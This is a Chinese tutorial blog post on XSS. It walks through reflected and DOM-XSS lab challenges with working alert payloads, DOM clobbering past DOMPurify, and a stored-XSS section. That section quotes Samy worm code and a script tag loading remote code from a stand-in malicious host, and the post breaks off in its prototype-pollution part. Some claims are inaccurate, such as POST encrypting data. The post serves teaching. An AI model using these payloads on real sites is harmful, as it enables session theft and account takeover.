XSS相关理解

由于本人对一小部分dom型xss、原型链污染和存储型xss理解不够透彻,因此在本篇文章中原型链污染和存储型xss偏重进行概念理解或简单的代码理解,随后会慢慢补充

文章目录

  • [1 XSS概述](#1 XSS概述)
    • [1.1 什么是XSS?](#1.1 什么是XSS?)
    • [1.2 XSS主要分三种类型](#1.2 XSS主要分三种类型)
  • [2 XSS基础](#2 XSS基础)
    • [2.1 XSS基础练习](#2.1 XSS基础练习)
      • [2.1.1 编码问题](#2.1.1 编码问题)
      • [2.1.2 原因](#2.1.2 原因)
    • [2.2 JS基础练习](#2.2 JS基础练习)
      • [2.2.1 JS相关问题](#2.2.1 JS相关问题)
      • [2.2.2 原因](#2.2.2 原因)
  • [3 反射型XSS(Reflected XSS)](#3 反射型XSS(Reflected XSS))
    • [3.1 理解反射型XSS](#3.1 理解反射型XSS)
      • [3.1.1 反射型XSS具有以下特点](#3.1.1 反射型XSS具有以下特点)
      • [3.1.2 图解](#3.1.2 图解)
    • [3.2 实战演练](#3.2 实战演练)
      • [level 1](#level 1)
      • [level 3](#level 3)
      • [level 5](#level 5)
      • [level 8](#level 8)
    • [3.3 总结](#3.3 总结)
  • [4 DOM型XSS(Document Object Model Cross-Site Scripting)](#4 DOM型XSS(Document Object Model Cross-Site Scripting))
    • [4.1 理解DOM型XSS](#4.1 理解DOM型XSS)
      • [4.1.1 DOM型XSS的特点](#4.1.1 DOM型XSS的特点)
      • [4.1.2 图解](#4.1.2 图解)
    • [4.2 DOM基础](#4.2 DOM基础)
      • [4.2.1 实战演练](#4.2.1 实战演练)
        • [level 1](#level 1)
        • [level 2](#level 2)
        • [level 3](#level 3)
        • [level 4](#level 4)
      • [4.2.2 演练核心标签总结](#4.2.2 演练核心标签总结)
    • [4.3 DOM破坏(DOM Clobbering)](#4.3 DOM破坏(DOM Clobbering))
      • [4.3.1 核心机制](#4.3.1 核心机制)
      • [4.3.2 特点](#4.3.2 特点)
      • [4.3.3 实战演练](#4.3.3 实战演练)
  • [5 存储型XSS(Persistent XSS)](#5 存储型XSS(Persistent XSS))
    • [5.1 什么是存储型XSS](#5.1 什么是存储型XSS)
      • [5.1.2 存储型XSS的特点](#5.1.2 存储型XSS的特点)
      • [5.1.3 图解](#5.1.3 图解)
    • [5.2 案例展示](#5.2 案例展示)
      • [5.2.1 案例一](#5.2.1 案例一)
      • [5.2.2 案例二](#5.2.2 案例二)
    • [5.3 总结](#5.3 总结)
  • [6 原型链污染(Prototype Pollution)](#6 原型链污染(Prototype Pollution))
    • [6.1 什么是原型链污染?](#6.1 什么是原型链污染?)
      • [6.1.1 核心原理](#6.1.1 核心原理)
    • [6.2 理解`prototype`、`proto`和`constructor`](#6.2 理解prototype__proto__constructor)
      • [6.2.1 `prototype` 属性](#6.2.1 prototype 属性)
      • [6.2.2 `proto `属性](#6.2.2 __proto__ 属性)
      • [6.2.3 `constructor` 属性](#6.2.3 constructor 属性)
      • [6.2.2 总结](#6.2.2 总结)
    • [6.3 简单代码理解](#6.3 简单代码理解)
  • [7 XSS相关总结](#7 XSS相关总结)

1 XSS概述

1.1 什么是XSS?

XSS(跨站脚本攻击,Cross-Site Scripting) 是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本,当其他用户访问该页面时,脚本会在其浏览器中执行,从而实施攻击。

我用3句话理解XSS

  • 目标:攻击者试图在可信的网站上注入恶意代码(通常是 JavaScript)。
  • 手段:利用网站对用户输入的不当处理(未过滤/转义)。
  • 触发:当其他用户浏览被感染的页面时,恶意脚本自动执行。

1.2 XSS主要分三种类型

  • 反射型XSS:页面能解析js代码的功能被称为XSS的反射型漏洞。没有对用户的输入做出特定的过滤,导致用户输入的恶意js代码输出到页面上被页面解析
  • DOM型XSS:恶意脚本由浏览器前端 JS 对污染源的不安全处理并执行,全程不经过服务器,恶意代码直接在受害者浏览器中触发,攻击链条完全在浏览器内闭环,传统服务端防御手段失效。
  • 存储型XSS:攻击者将恶意脚本提交到服务器数据库中(如评论区、用户资料),当用户访问被感染的页面时自动执行,窃取Cookie/会话等数据,脚本永久存储在服务器数据库,无需用户交互,只要访问立马执行。

这三个XSS类型各有特点,在这篇文章我将以我的理解对这三种xss进行理解或展示。

此外原型链污染 虽然不属于 XSS,它是独立的 JS 原型篡改漏洞,但可导致 XSS,当污染对象涉及 DOM 操作属性时,会引发 XSS。

2 XSS基础

在XSS中我们首先需要知道页面的解析先后顺序:

html实体编码---->urlencode编码---->js unicode编码

2.1 XSS基础练习

2.1.1 编码问题

html 复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">aaaaaa</a>
<a href="javascript%3aalert(3)">aaaaa</a>
<div>&#60;img src=x onerror=alert(4)&#62;</div>
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
<textarea><script>alert(6)</script></textarea>

2.1.2 原因

第一个

浏览器 尝试解码这些URL编码,但解码发生在错误的时间点(在协议识别之后)结果浏览器无法识别javascript:协议,因此放弃执行解码。技术上浏览器解码了,但解码结果未被使用(因为协议未识别)。

第二个

浏览器直接解码HTML实体编码,在浏览器识别协议之前已经成功解码,并且浏览器在解码之后成功识别javascript协议,因此可以正确点击链接执行弹窗。

第三个

原因与第一个相似,javascript:是一个整体,该链接将:进行编码因此浏览器无法在解析之前识别协议,不能正常点击链接跳出弹窗。

第四个

浏览器可以正常解析&#60;&#62;<>,但HTML解析标签以tag open state(<)开始tag name state(>)结束,因此浏览器虽然将编码解析成功,但不会转为tag open state(标签开始状态)只会将<div>标签里的内容以data(数据)形式显示出来因此无法建立img标签也无法正常显示弹窗。

第五个

正确解码,为RCDATA元素,可以容纳文本和字符引用。一旦有字符引用可能无法进入标签开始状态

第六个

无需解码,为RCDATA元素,可以容纳文本和字符引用。一旦有字符引用可能无法进入标签开始状态

\ 第一个 第二个 第三个 第四个 第五个 第六个
是否尝试解码 ✅ 是 ✅ 是 ✅ 是 ✅ 是 ✅ 是 ❌无需解码
解码时机 太晚(协议识别后) 正确(分阶段) 太晚(协议识别后) 正确(分阶段) 正常解码 ----
解码结果是否有效 ❌ 否 ✅ 是 ❌ 否 ✅ 是 ✅ 是 ----
根本原因 协议部分被编码导致浏览器放弃 协议部分通过HTML实体先解码 协议部分被编码导致浏览器放弃 内容以div标签里的数据形式解析出来,但不能识别为一个img标签 虽然解析成功但无法进入标签状态 ----

2.2 JS基础练习

2.2.1 JS相关问题

html 复制代码
<button onclick="confirm('7&#39;);">Button</button>
<button onclick="confirm('8\u0027);">Button</button>
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
<script>alert('14
')</script>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

2.2.2 原因

第一、二个:js严格区分大小写,不能对符号编码,因此前两个button无法触发

第三个:将alert(9);转为html编码但<script>为原始文本元素,只能容纳文本,无法容纳字符,因此无法辨别内容为alert(9);的html编码因此无法解析。

第四个:正确弹窗

第五个:同第一、二个原因

第六个:js语法问题,js的解析器默认将12理解为字符串,字符串需要单引号包裹起来,没有单引号不能识别出12

第七个:换行符不影响解析,正常弹窗

第八个:使用了所有的解码:首先解析html实体解码,urlencode解码发现javascript已出现,并将其识别,进入js环境下,js支持unicode解码,因此可以正常解析,正常弹窗。

3 反射型XSS(Reflected XSS)

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。

3.1 理解反射型XSS

没有对用户的输入做出特定的过滤,导致用户输入的恶意js代码输出到页面上被页面解析

3.1.1 反射型XSS具有以下特点

  • 脚本不存储在服务器,仅通过 URL 参数传递。
  • 需要诱导用户主动点击恶意链接(如钓鱼邮件)。
  • 常见于搜索框、错误提示页等动态返回内容的功能。

3.1.2 图解

使用符合js的规范都可以执行使用js标签包裹或者使用html标签:

例如:

html 复制代码
<script>alert(1)</script>
--------------------------------------------------------
<img src=1 onerror=alert(1)>
--------------------------------------------------------
<a href="javascript:alert(1)">aaaa</a>    //使用javascript伪协议。需要用户参与
--------------------------------------------------------
<svg/onload=alert(1)>等等
--------------------------------------------------------
巧用"//"注解,使用注解可以将后续的代码注释掉

有些过滤器会相应的过滤掉某些标签元素,因此我们还需要掌握三中html能识别的编码,灵活使用编码代替原标签进行反射xss(以下为相关概念,了解一下):

  • urlcode编码:URL编码(URLEncoder)和解码(URLDecoder)是处理URL中包含的特殊字符和中文的常用方法。URL编码的目的是将字符串转换成有效的URL格式,而URL解码则是将这些特殊的URL格式还原回原始字符串。
  • html实体编码:一段以连字号(&)开头、以分号(;)结尾的字符串,用以显示不可见字符及保留字符
  • js unicode编码:将全世界所有的字符包含在一个集合里,计算机只要支持这一个字符集,就能显示所有的字符

使用常用的转码工具将所需转码的内容转为对应编码的内容即可:

https://www.toolhelper.cn/

https://tool.oschina.net/encode

3.2 实战演练

选择部分代码进行反射型XSS的实战演练

level 1

源码:

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

解题:

在此题中发现注入内容会注入到h2标签内如需要弹窗只要让其触发alert即可

在网址后输入:即可

level 3

源码:

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

解题:

在源码中发现

htmlspecialchars过滤函数会过滤双引号但是该函数在源码中并未设置ENT_QUOTES因此并不会过滤单引号。

该源码中单引号包含了双引号,需要将单引号闭合

input输入框输入a' onclick='alert(1)完成题解

level 5

源码:

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

解题:

在源码中,发现题目进行了简单替换:将<script替换为<scr_ipt,on替换为o_n

因此所有的on事件被过滤,<script>标签被过滤

但发现<>并没有被过滤,因此我们需要将源码进行闭合即可

input输入框内输入a"><a href="javascript:alert(1)">aaaaaaaaaaaa</a>"即可题解

点击链接完成挑战

level 8

源码:

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

解题:

使用编码转换输入即可
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

点击友情链接,成功题解

3.3 总结

1.反射型xss的存在位置可能在搜索栏、input表单

2.可能会存在过滤,可以通过编码,大写等方式尝试绕过

3.javascript伪协议也可以触发xss

4 DOM型XSS(Document Object Model Cross-Site Scripting)

控制js产生的xss称为dom型xss

4.1 理解DOM型XSS

一句话总结:DOM 型 XSS = 前端 JavaScript 代码 + 不安全的 DOM 操作 + 客户端污染源(URL/Storage)

4.1.1 DOM型XSS的特点

  • 全程在浏览器端发生:
    • 恶意代码的注入、解析、执行均在用户浏览器中完成,不经过服务器处理。
  • 绕过服务器防护:
    • 攻击载荷常隐藏在 URL 片段(#后)、window.name 或 前端存储(LocalStorage) 中,不会被发送到服务器。
    • ❌ 传统 WAF(Web 应用防火墙)无法检测此类攻击。
  • 触发依赖危险 DOM API
    • 漏洞源于开发者使用不安全的 DOM 操作方法:
  • 非持久性(通常)
    • 攻击需诱导用户访问特定恶意链接,脚本不会存储在服务器或客户端数据库中。
    • 🔁 但可通过社工手段(如钓鱼邮件)大规模传播。
  • 隐蔽性高
    • 由于不经过服务器,浏览器开发者工具是主要检测手段(Network 面板无异常请求)。

4.1.2 图解

4.2 DOM基础

4.2.1 实战演练

dom相关的部分基础xss练习

level 1

源码:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h2 id="spaghet"></h2>
</body>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>

解题:

复制代码
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:

js安全策略:在H5中指定不执行使用element.innerHTML插入的<script>标签,因此不能使用<script>标签

源码分析可得url地址栏里获取了get传参,而传参的key是somebody,如果没有给somebody传参则默认使用Somebody代替并通过innerHTML写入id为spaghet的<h2>标签中。除了<script>标签以外能触发弹窗的任何标签都可以

给somebody传参输入<img src=1 onerror=alert(1337)>完成题解

level 2

源码:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

</head>
<body>
    <h2 id="maname"></h2>
</body>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>
</html>

解题:

复制代码
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:

eval为执行函数,可以直接执行内容。

由于该参数有双引号,因此我们需要闭合双引号。

可以使用//注释将后面的双引号进行闭合

jeff传参wowo";alert(1337)//即可完成题解

level 3

源码:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

</head>
<body>
    <div id="uganda"></div>
</body>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>

解题:

要求: 复制代码
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:

源码过滤了<>

由于用户不能参与交互因此我们不能直接设置点击事件

由于<input>有核心属性onfocusautofocus自动聚焦,可以实现题目中禁止用户交互的要求

因此wo" autofocus onfocus="alert(1337)"即可完成题解

level 4

源码:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

</head>
<body>
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
</html>

解题:

复制代码
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
form表单中的action属性将form表单中的数据传输到action属性指定的地址,如将数据传输到1.php只需要在action属性中填入即可,源码中action属性未传值的时候提交到#(表示传到当前页面)。
setTimeout将在2秒延迟后自动提交

ricardo传入javascript:alert(1337)伪协议即可完成题解

4.2.2 演练核心标签总结

复制代码
innerHTML:禁止触发`<script>`标签
input标签有特殊属性onfocus(聚焦)与autofocus(自动聚焦)结合使用
form表单属性:action,method,enctype
- action
  - 指定后端action目标地址接收并处理表单数据(action可以出发javascript伪协议)
- method
  - post:将数据封装在HTTP请求体中发送,对数据内容加密处理,适合提交敏感信息或大量数据(如文件上传)。‌‌
  -  get:将表单数据附加到action指定的URL后,适合非敏感且数据量较小的查询操作(如搜索、筛选)。‌‌
- enctype
  - 提交账号密码等文字需要发送的数据编码为 "名称/键值" 的形式使用默认属性application/x-www-form-urlencoded
  - 上传文件、mp3、图片等使用multipart/form-data
  - 提交纯文本使用text/plain

4.3 DOM破坏(DOM Clobbering)

DOM 破坏是一种利用 HTML 元素覆盖 JavaScript 全局变量或对象属性的攻击技术,目的是篡改页面逻辑或绕过安全机制。

通过注入特定 HTML 标签(如 <form><img><a>),覆盖页面中的 JavaScript 变量或 DOM 对象属性,从而破坏前端逻辑或绕过安全检测。

4.3.1 核心机制

HTML 元素的命名覆盖

  • 当 HTML 标签设置了 id 或 name 属性时,浏览器会自动将其暴露为全局变量(或嵌套在 document 对象下)。
  • 攻击者注入恶意标签,覆盖已有变量或属性。

4.3.2 特点

  • 隐蔽性强:不触发脚本执行,仅改变对象状态。
  • 误判为"无害":传统安全扫描工具难以检测逻辑覆盖。
  • 现代框架的盲区:React/Vue 等框架虽减少直接 DOM 操作,但若与原生 JS 混用仍可能中招。

核心记忆点:任何未受保护的 HTML 的 id/name 属性都可能成为攻击入口!

4.3.3 实战演练

dom破坏的相关练习

4.3.3.1 相关知识
html 复制代码
<body>
    <img id="x">
    <img name="y">
</body>
<script>
    console.log(x)
    console.log(y)
    console.log(document.x)
    console.log(document.y)
    console.log(window.x)
    console.log(window.y)
</script>

前端特性:结果可知只有document.x不适配id其他都适配

html 复制代码
<body>
    <img id="x">
    <img name="y">
</body>
<script>
    let div = document.createElement('div')//创建div标签
    div.innerHTML = '<img name="cookie">'//标签内容为<img name="cookie">
    document.body.appendChild(div)//div标签添加到body中
    console.log(document.cookie)//请求document.cookie
</script>

运行发现:

发现设创建的<div>标签中的内容img把获取系统页面的cookie系统函数覆盖掉了

!!这样的操作危害是非常大的,用户的权限太大以至于可以随意更改系统函数!!

html 复制代码
<body>
    <form name="body">
        <img id="appendChild">
    </form>
</body>
<script>
    console.log(body.appendChild)
</script>

发现本次二次覆盖取出的并不是系统自带的函数,而是img标签

复制代码
document覆盖最多覆盖三层
document.x
document.x.y
document.x.y.z

在控制台输入Object.prototype.toString.call(document.body.appendChild)

我们拿到的是[object HTMLImageElement]html下的img元素是一个object对象,但是不好操作,所以需要toString转为可控的字符串类型

html 复制代码
Object.getOwnPropertyNames(window)//获取window所有属性的名称
.filter(p => p.match(/Element$/))//过滤含有Element为结尾元素的标签
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)//过滤本身有的原型链的方法而不是祖先自带的方法

取出为下图显示:

4.3.3.2练习

源码:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<h2 id="boomer">Ok, Boomer.</h2>
</body>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>
</html>

解题:

复制代码
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:

引入过滤框架DOMPurify

boomer没有传参默认执行显示Ok,Boomer.
setTimeout两秒之后执行一次
setTimeout中的ok是否是一个函数,如果是,就会自动调用oktoString方法

需要分析这几个问题:

  • 1.ok从何而来?
    dom破坏中来,定义一个idoka标签<a id=ok href='aaaaa'>
    dom 11 12
  • 2.恶意payload触发ok里的恶意代码
    a标签里的href属性为javascript:alert(1337)
  • 3."绕过"框架(白名单)
    白名单有:
  • 4.ok引入

输入boomer=<a id=ok href="sms:alert(1337)">完成题解

源码:

html 复制代码
<script>
 const data = decodeURIComponent(location.hash.substr(1));;
 const root = document.createElement('div');
 root.innerHTML = data;
 // 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
 for (let el of root.querySelectorAll('*')) {
  let attrs = [];
  for (let attr of el.attributes) {
   attrs.push(attr.name);
  }
  for (let name of attrs) {
   el.removeAttribute(name);
  }
 }    
  document.body.appendChild(root); 
</script>

解题:

解析:

1.在触发程序之前进行触发

2.生成一个无关的节点,而避免我们的payload被删除+

1.输入<svg><svg/onload=alert(1)>触发弹窗,完成题解

2.使用所有标签遍历

html 复制代码
<script>
    var log = [];
        var html =
            ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo",
                "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col",
                "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt",
                "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head",
                "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label",
                "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol",
                "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param",
                "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select",
                "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table"
                , "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var",
                "video", "wbr", "xmp"],
            logs = [];
        div = document.createElement('div')
            ; for (var i = 0; i < html.length; i++) {
            for (var j = 0; j < html.length; j++) {
                div.innerHTML = '<' + html[i] + ' id=element1>' + '<' + html[j] + ' id=element2>'; document.body.appendChild(div);
                if (window.element1 && element1.element2) {
                    log.push(html[i] + ',' + html[j]);
                }
                document.body.removeChild(div);
            }
        }
        console.log(log.join('\n'));
</script>

得到可以进行两个id嵌套的组合:

复制代码
form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea

例如使用form与output进行组合:

html 复制代码
<body>
    <form id="x">
    <output id="y">I've been clobbered</output>
</form>
</body>
<script>
console.log(x.y)//在y后面添加value会把<output>标签里的I've been clobbered显示出来
</script>

控制台显示:

5 存储型XSS(Persistent XSS)

最危险的跨站脚本攻击类型。

5.1 什么是存储型XSS

存储型XSS(跨站脚本攻击)是一种恶意脚本被永久存储在目标服务器上的攻击类型,当用户访问受感染页面时自动执行。

5.1.2 存储型XSS的特点

  • 持久性:恶意脚本存储在服务器上(数据库、文件系统等)
  • 自动传播:用户只需访问页面就会触发攻击
  • 影响范围广:所有访问该页面的用户都会受到影响
  • 危害严重:可窃取用户凭据、会话信息,传播恶意软件等

5.1.3 图解

5.2 案例展示

5.2.1 案例一

MySpace Samy蠕虫(2005)

  • 攻击方式:用户资料中注入恶意脚本
  • 传播速度:20小时内感染100万用户
js 复制代码
onload="var B=String.fromCharCode(34); 
var A=String.fromCharCode(39); 
function g(){var C; 
try{var D=document.body.createTextRange();C=D.htmlText} 
catch(e){}if(C){return C}else{return''}} 
function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} 
function getQueryParams(){var E=document.location.search; 
var F=E.substring(1,E.length).split('&'); 
var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('='); 
AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams(); 
var L=AS['Mytoken'];var M=AS['friendID']; 
if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search} 
else{if(!M){M=g()}if(M){ 
// 核心攻击代码

影响:强制添加攻击者为好友,成为首个大规模XSS蠕虫

5.2.2 案例二

eBay存储型XSS(2015)

  • 攻击方式:商品描述中注入恶意脚本
  • 攻击载荷:<script src="http://malicious-site.com/xss.js"></script>
  • 影响:窃取买家支付信息,持续数月未被发现
  • 根本原因:未对商品描述进行输出编码

5.3 总结

持续时间长,恶意脚本长期存储在服务器(数据库/文件系统)只要被感染页面被访问,攻击就会触发。自动传播,用户无需任何交互(如点击链接)。访问即中招。影响范围广,所有访问该页面的用户都会受影响,可造成大规模数据泄露。隐蔽性强,可能潜伏数月才被发现,难以追溯攻击源头

6 原型链污染(Prototype Pollution)

6.1 什么是原型链污染?

是一种针对 JavaScript 运行时的攻击技术,攻击者通过篡改对象的原型(prototype)注入恶意属性,导致所有继承该原型的对象被污染,从而引发安全漏洞。

6.1.1 核心原理

  1. JavaScript 的原型链机制
    每个 JavaScript 对象都有隐藏属性 __proto__(或通过 Object.getPrototypeOf()访问),指向其原型对象。
    当访问对象属性时,若对象自身不存在该属性,JS 会沿原型链向上查找。
  2. 污染入口点
    攻击者利用未安全处理的对象合并/复制操作注入 __proto__ 属性。
    关键结论

原型链污染属于 JavaScript 运行时污染,可导致拒绝服务、权限绕过、数据泄露等,不限于 XSS。可成为 XSS 的"催化剂"。若污染了 innerHTMLouterHTMLdocument.write 等 DOM 操作属性,则间接引发存储型/DOM 型 XSS。

6.2 理解prototype__proto__constructor

6.2.1 prototype 属性

  • 只有函数才拥有 prototype 属性
  • 它是函数的原型对象,包含该类型所有实例共享的属性和方法
  • 当使用 new 关键字创建实例时,新对象会继承其构造函数的 prototype

6.2.2 __proto__属性

  • 每个对象(包括函数对象)都有 __proto__ 属性
  • 它指向创建该对象的构造函数的 prototype
  • 这是原型链查找的实际路径(现代代码中建议使用 Object.getPrototypeOf())

6.2.3 constructor 属性

  • 每个 prototype 对象都有一个 constructor 属性
  • 它指向该原型对象所属的构造函数
  • 关系:Person.prototype.constructor === Person

6.2.2 总结

原型链关系总结

  1. 实例对象(如 alice):
  • 通过 __proto__ 指向其构造函数的 prototype

  • 即:alice.__proto__ === Person.prototype

  1. 构造函数(如 Person):
  • 拥有 prototype 属性,指向原型对象

  • 自身也有 __proto__,指向 Function.prototype

  1. 原型对象(如 Person.prototype):
  • 包含 constructor属性指回构造函数

  • 通过 __proto__ 指向 Object.prototype

  1. 原型链终点:
  • Object.prototype.__proto__ === null

  • 所有原型链最终都指向 null

我感觉我理解的不是很透彻可以看这篇文章更加深入理解:
帮你彻底搞懂JS中的prototype、__proto__与constructor(图解)

6.3 简单代码理解

源码

js 复制代码
//foo是一个简单的JavaScript对象
let foo = {bar: 1}

//foo.bar此时为1
console.log(foo.bar)
